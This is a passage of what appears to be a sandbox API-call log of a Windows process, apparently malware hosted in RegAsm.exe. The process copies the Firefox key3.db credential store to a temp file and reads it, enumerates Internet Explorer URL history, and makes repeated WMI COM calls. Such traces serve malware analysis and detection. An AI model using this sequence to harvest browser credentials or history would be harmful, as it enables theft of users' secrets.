"c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\key3.db"), fInfoLevelId=0x0, lpFileInformation=0x36e2e8 | out: lpFileInformation=0x36e2e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f0f6780, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f0f6780, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf441bb40, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0096.059] GetLastError () returned 0x2 [0096.059] SetErrorMode (uMode=0x0) returned 0x1 [0096.059] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x8ad6e8 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0096.059] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x36de80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0096.059] GetLastError () returned 0x2 [0096.060] CoCreateGuid (in: pguid=0x36e434 | out: pguid=0x36e434*(Data1=0x5a486d91, Data2=0x5e81, Data3=0x407c, Data4=([0]=0xa6, [1]=0xd9, [2]=0x16, [3]=0x1, [4]=0x7e, [5]=0xa3, [6]=0xa6, [7]=0x59))) returned 0x0 [0096.061] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db", nBufferLength=0x105, lpBuffer=0x36de3c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db", lpFilePart=0x0) returned 0x53 [0096.061] GetLastError () returned 0x2 [0096.061] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041562706118000_5a486d91-5e81-407c-a6d9-16017ea3a659.db", nBufferLength=0x105, lpBuffer=0x36de3c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041562706118000_5a486d91-5e81-407c-a6d9-16017ea3a659.db", lpFilePart=0x0) returned 0x5f [0096.061] GetLastError () returned 0x2 [0096.062] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\key3.db"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041562706118000_5a486d91-5e81-407c-a6d9-16017ea3a659.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\637041562706118000_5a486d91-5e81-407c-a6d9-16017ea3a659.db"), bFailIfExists=1) returned 1 [0096.077] GetLastError () returned 0x0 [0096.161] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041562706118000_5a486d91-5e81-407c-a6d9-16017ea3a659.db", nBufferLength=0x105, lpBuffer=0x36dcf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041562706118000_5a486d91-5e81-407c-a6d9-16017ea3a659.db", lpFilePart=0x0) returned 0x5f [0096.161] GetLastError () returned 0x0 [0096.161] SetErrorMode (uMode=0x1) returned 0x0 [0096.161] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\637041562706118000_5a486d91-5e81-407c-a6d9-16017ea3a659.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\637041562706118000_5a486d91-5e81-407c-a6d9-16017ea3a659.db"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x398 [0096.161] GetLastError () returned 0x0 [0096.161] GetFileType (hFile=0x398) returned 0x1 [0096.161] GetFileType (hFile=0x398) returned 0x1 [0096.162] ReadFile (in: hFile=0x398, lpBuffer=0x25b6ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x36e25c, lpOverlapped=0x0 | out: lpBuffer=0x25b6ab4*, lpNumberOfBytesRead=0x36e25c*=0x1000, lpOverlapped=0x0) returned 1 [0096.162] GetLastError () returned 0x0 [0096.162] ReadFile (in: hFile=0x398, lpBuffer=0x25b6ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x36e25c, lpOverlapped=0x0 | out: lpBuffer=0x25b6ab4*, lpNumberOfBytesRead=0x36e25c*=0x1000, lpOverlapped=0x0) returned 1 [0096.162] GetLastError () returned 0x0 [0096.163] ReadFile (in: hFile=0x398, lpBuffer=0x25b6ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x36e25c, lpOverlapped=0x0 | out: lpBuffer=0x25b6ab4*, lpNumberOfBytesRead=0x36e25c*=0x1000, lpOverlapped=0x0) returned 1 [0096.163] GetLastError () returned 0x0 [0096.164] ReadFile (in: hFile=0x398, lpBuffer=0x25b6ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x36e25c, lpOverlapped=0x0 | out: lpBuffer=0x25b6ab4*, lpNumberOfBytesRead=0x36e25c*=0x1000, lpOverlapped=0x0) returned 1 [0096.164] GetLastError () returned 0x0 [0096.164] CloseHandle (hObject=0x398) returned 1 [0096.164] GetLastError () returned 0x0 [0096.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe.Config", nBufferLength=0x105, lpBuffer=0x36dd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe.Config", lpFilePart=0x0) returned 0x3f [0096.390] GetLastError () returned 0x0 [0096.390] SetErrorMode (uMode=0x1) returned 0x0 [0096.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe.Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regasm.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x36e1e0 | out: lpFileInformation=0x36e1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaff53b3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaff53b3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xaa818efc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xb5)) returned 1 [0096.390] GetLastError () returned 0x0 [0096.390] SetErrorMode (uMode=0x0) returned 0x1 [0096.770] IIDFromString (in: lpsz="{3C374A40-BAE4-11CF-BF7D-00AA006946EE}", lpiid=0x36dbd4 | out: lpiid=0x36dbd4) returned 0x0 [0096.770] CoGetClassObject (in: rclsid=0x8d3164*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), dwClsContext=0x15, pvReserved=0x0, riid=0x73b4a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x36db3c | out: ppv=0x36db3c*=0x70305498) returned 0x0 [0098.089] IUnknown:QueryInterface (in: This=0x70305498, riid=0x73c37ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x36d96c | out: ppvObject=0x36d96c*=0x0) returned 0x80004002 [0098.096] IClassFactory:CreateInstance (in: This=0x70305498, pUnkOuter=0x0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36d9a4 | out: ppvObject=0x36d9a4*=0x8d5ca8) returned 0x0 [0098.100] IUnknown:QueryInterface (in: This=0x8d5ca8, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36d748 | out: ppvObject=0x36d748*=0x8d5ca8) returned 0x0 [0098.100] IUnknown:QueryInterface (in: This=0x8d5ca8, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x36d704 | out: ppvObject=0x36d704*=0x0) returned 0x80004002 [0098.101] IUnknown:AddRef (This=0x8d5ca8) returned 0x4 [0098.101] CoGetContextToken (in: pToken=0x36d590 | out: pToken=0x36d590) returned 0x0 [0098.101] CoGetContextToken (in: pToken=0x36d554 | out: pToken=0x36d554) returned 0x0 [0098.101] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36d588 | out: ppvObject=0x36d588*=0x8596c4) returned 0x0 [0098.102] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36d5b8 | out: pAptType=0x36d5b8*=3) returned 0x0 [0098.102] IUnknown:Release (This=0x8596c4) returned 0x1 [0098.102] IUnknown:QueryInterface (in: This=0x8d5ca8, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36d578 | out: ppvObject=0x36d578*=0x0) returned 0x80004002 [0098.102] CoGetContextToken (in: pToken=0x36d588 | out: pToken=0x36d588) returned 0x0 [0098.102] IUnknown:AddRef (This=0x8d5ca8) returned 0x5 [0098.102] IUnknown:QueryInterface (in: This=0x8d5ca8, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36d5fc | out: ppvObject=0x36d5fc*=0x0) returned 0x80004002 [0098.102] IUnknown:Release (This=0x8d5ca8) returned 0x4 [0098.102] IUnknown:Release (This=0x8d5ca8) returned 0x3 [0098.103] IUnknown:Release (This=0x70305498) returned 0x1 [0098.103] IUnknown:Release (This=0x8d5ca8) returned 0x2 [0098.103] CoGetContextToken (in: pToken=0x36da94 | out: pToken=0x36da94) returned 0x0 [0098.103] IIDFromString (in: lpsz="{AFA0DC11-C313-11D0-831A-00C04FD5AE38}", lpiid=0x36dad0 | out: lpiid=0x36dad0) returned 0x0 [0098.103] CoGetContextToken (in: pToken=0x36da54 | out: pToken=0x36da54) returned 0x0 [0098.103] IUnknown:AddRef (This=0x8d5ca8) returned 0x3 [0098.103] IUnknown:QueryInterface (in: This=0x8d5ca8, riid=0x36dad0*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppvObject=0x36dacc | out: ppvObject=0x36dacc*=0x8d5ca8) returned 0x0 [0098.104] IUnknown:Release (This=0x8d5ca8) returned 0x3 [0098.104] IUnknown:Release (This=0x8d5ca8) returned 0x2 [0098.107] CoGetContextToken (in: pToken=0x36da6c | out: pToken=0x36da6c) returned 0x0 [0098.107] CoGetContextToken (in: pToken=0x36da2c | out: pToken=0x36da2c) returned 0x0 [0098.107] IUnknown:AddRef (This=0x8d5ca8) returned 0x3 [0098.107] IUnknown:QueryInterface (in: This=0x8d5ca8, riid=0x36daa8*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppvObject=0x36daa4 | out: ppvObject=0x36daa4*=0x8d5ca8) returned 0x0 [0098.107] IUnknown:Release (This=0x8d5ca8) returned 0x3 [0098.107] IUnknown:AddRef (This=0x8d5ca8) returned 0x4 [0098.108] IUrlHistoryStg:EnumUrls (in: This=0x8d5ca8, ppenum=0x36dbd0 | out: ppenum=0x36dbd0*=0x8e0458) returned 0x0 [0098.114] CoGetContextToken (in: pToken=0x36d318 | out: pToken=0x36d318) returned 0x0 [0098.114] CoGetContextToken (in: pToken=0x36d2dc | out: pToken=0x36d2dc) returned 0x0 [0098.114] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36d310 | out: ppvObject=0x36d310*=0x8596c4) returned 0x0 [0098.114] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36d340 | out: pAptType=0x36d340*=3) returned 0x0 [0098.114] IUnknown:Release (This=0x8596c4) returned 0x1 [0098.114] CoGetContextToken (in: pToken=0x36d310 | out: pToken=0x36d310) returned 0x0 [0098.115] IUnknown:Release (This=0x8d5ca8) returned 0x4 [0098.115] CoGetContextToken (in: pToken=0x36da94 | out: pToken=0x36da94) returned 0x0 [0098.115] IIDFromString (in: lpsz="{3C374A42-BAE4-11CF-BF7D-00AA006946EE}", lpiid=0x36dad0 | out: lpiid=0x36dad0) returned 0x0 [0098.115] CoGetContextToken (in: pToken=0x36da54 | out: pToken=0x36da54) returned 0x0 [0098.132] CoGetContextToken (in: pToken=0x36da4c | out: pToken=0x36da4c) returned 0x0 [0098.132] CoGetContextToken (in: pToken=0x36da0c | out: pToken=0x36da0c) returned 0x0 Thread: id = 75 os_tid = 0x578 Thread: id = 76 os_tid = 0x7f0 [0073.265] CoGetContextToken (in: pToken=0x471f718 | out: pToken=0x471f718) returned 0x800401f0 [0073.265] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 77 os_tid = 0x8b8 Thread: id = 78 os_tid = 0x96c Thread: id = 79 os_tid = 0x140 Thread: id = 80 os_tid = 0x87c Thread: id = 131 os_tid = 0x478 [0077.417] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0077.467] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x564ec14 | out: lpiid=0x564ec14) returned 0x0 [0077.468] CoGetClassObject (in: rclsid=0x8b4e3c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x73b4a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x564eb7c | out: ppv=0x564eb7c*=0x52efd00) returned 0x0 [0077.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd00, riid=0x73c37ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x564e9ac | out: ppvObject=0x564e9ac*=0x0) returned 0x80004002 [0077.468] WbemDefPath:IClassFactory:CreateInstance (in: This=0x52efd00, pUnkOuter=0x0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e9e4 | out: ppvObject=0x564e9e4*=0x52efd10) returned 0x0 [0077.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e788 | out: ppvObject=0x564e788*=0x52efd10) returned 0x0 [0077.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x564e744 | out: ppvObject=0x564e744*=0x0) returned 0x80004002 [0077.469] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x3 [0077.469] CoGetContextToken (in: pToken=0x564e5d0 | out: pToken=0x564e5d0) returned 0x0 [0077.469] CoGetObjectContext (in: riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x88eb6c | out: ppv=0x88eb6c*=0x859828) returned 0x0 [0077.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e5b8 | out: ppvObject=0x564e5b8*=0x88cb90) returned 0x0 [0077.471] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x88cb90, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x564e5c0 | out: pCid=0x564e5c0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.471] WbemDefPath:IUnknown:Release (This=0x88cb90) returned 0x3 [0077.472] CoGetContextToken (in: pToken=0x564e5c8 | out: pToken=0x564e5c8) returned 0x0 [0077.472] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x4 [0077.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e63c | out: ppvObject=0x564e63c*=0x0) returned 0x80004002 [0077.472] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x3 [0077.472] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.473] WbemDefPath:IUnknown:Release (This=0x52efd00) returned 0x0 [0077.473] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.473] SetEvent (hEvent=0x288) returned 1 [0077.473] GetLastError () returned 0x0 [0077.476] CoGetClassObject (in: rclsid=0x8b4e3c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x73b4a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x564eb7c | out: ppv=0x564eb7c*=0x52efd00) returned 0x0 [0077.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd00, riid=0x73c37ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x564e9ac | out: ppvObject=0x564e9ac*=0x0) returned 0x80004002 [0077.476] WbemDefPath:IClassFactory:CreateInstance (in: This=0x52efd00, pUnkOuter=0x0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e9e4 | out: ppvObject=0x564e9e4*=0x52efda8) returned 0x0 [0077.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efda8, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e788 | out: ppvObject=0x564e788*=0x52efda8) returned 0x0 [0077.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efda8, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x564e744 | out: ppvObject=0x564e744*=0x0) returned 0x80004002 [0077.476] WbemDefPath:IUnknown:AddRef (This=0x52efda8) returned 0x3 [0077.476] CoGetContextToken (in: pToken=0x564e5d0 | out: pToken=0x564e5d0) returned 0x0 [0077.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efda8, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e5b8 | out: ppvObject=0x564e5b8*=0x88ca80) returned 0x0 [0077.477] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x88ca80, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x564e5c0 | out: pCid=0x564e5c0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.477] WbemDefPath:IUnknown:Release (This=0x88ca80) returned 0x3 [0077.477] CoGetContextToken (in: pToken=0x564e5c8 | out: pToken=0x564e5c8) returned 0x0 [0077.477] WbemDefPath:IUnknown:AddRef (This=0x52efda8) returned 0x4 [0077.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efda8, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e63c | out: ppvObject=0x564e63c*=0x0) returned 0x80004002 [0077.477] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x3 [0077.477] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x2 [0077.477] WbemDefPath:IUnknown:Release (This=0x52efd00) returned 0x0 [0077.478] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x1 [0077.478] SetEvent (hEvent=0x2c4) returned 1 [0077.478] GetLastError () returned 0x36b7 [0077.510] CoGetClassObject (in: rclsid=0x8b4e3c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x73b4a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x564eb7c | out: ppv=0x564eb7c*=0x52f0fa0) returned 0x0 [0077.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x52f0fa0, riid=0x73c37ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x564e9ac | out: ppvObject=0x564e9ac*=0x0) returned 0x80004002 [0077.510] WbemDefPath:IClassFactory:CreateInstance (in: This=0x52f0fa0, pUnkOuter=0x0, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e9e4 | out: ppvObject=0x564e9e4*=0x52edaa8) returned 0x0 [0077.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e788 | out: ppvObject=0x564e788*=0x52edaa8) returned 0x0 [0077.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x564e744 | out: ppvObject=0x564e744*=0x0) returned 0x80004002 [0077.511] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0077.511] CoGetContextToken (in: pToken=0x564e5d0 | out: pToken=0x564e5d0) returned 0x0 [0077.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e5b8 | out: ppvObject=0x564e5b8*=0x88cc40) returned 0x0 [0077.511] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x88cc40, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x564e5c0 | out: pCid=0x564e5c0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.511] WbemDefPath:IUnknown:Release (This=0x88cc40) returned 0x3 [0077.511] CoGetContextToken (in: pToken=0x564e5c8 | out: pToken=0x564e5c8) returned 0x0 [0077.511] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x4 [0077.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x564e63c | out: ppvObject=0x564e63c*=0x0) returned 0x80004002 [0077.512] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0077.512] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0077.512] WbemDefPath:IUnknown:Release (This=0x52f0fa0) returned 0x0 [0077.512] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x1 [0077.512] SetEvent (hEvent=0x2c8) returned 1 [0077.512] GetLastError () returned 0x36b7 [0078.031] CoGetClassObject (in: rclsid=0x8b4e3c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x73b4a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x564eb7c | out: ppv=0x564eb7c*=0x52edc98) returned 0x0 [0078.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edc98, riid=0x73c37ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, 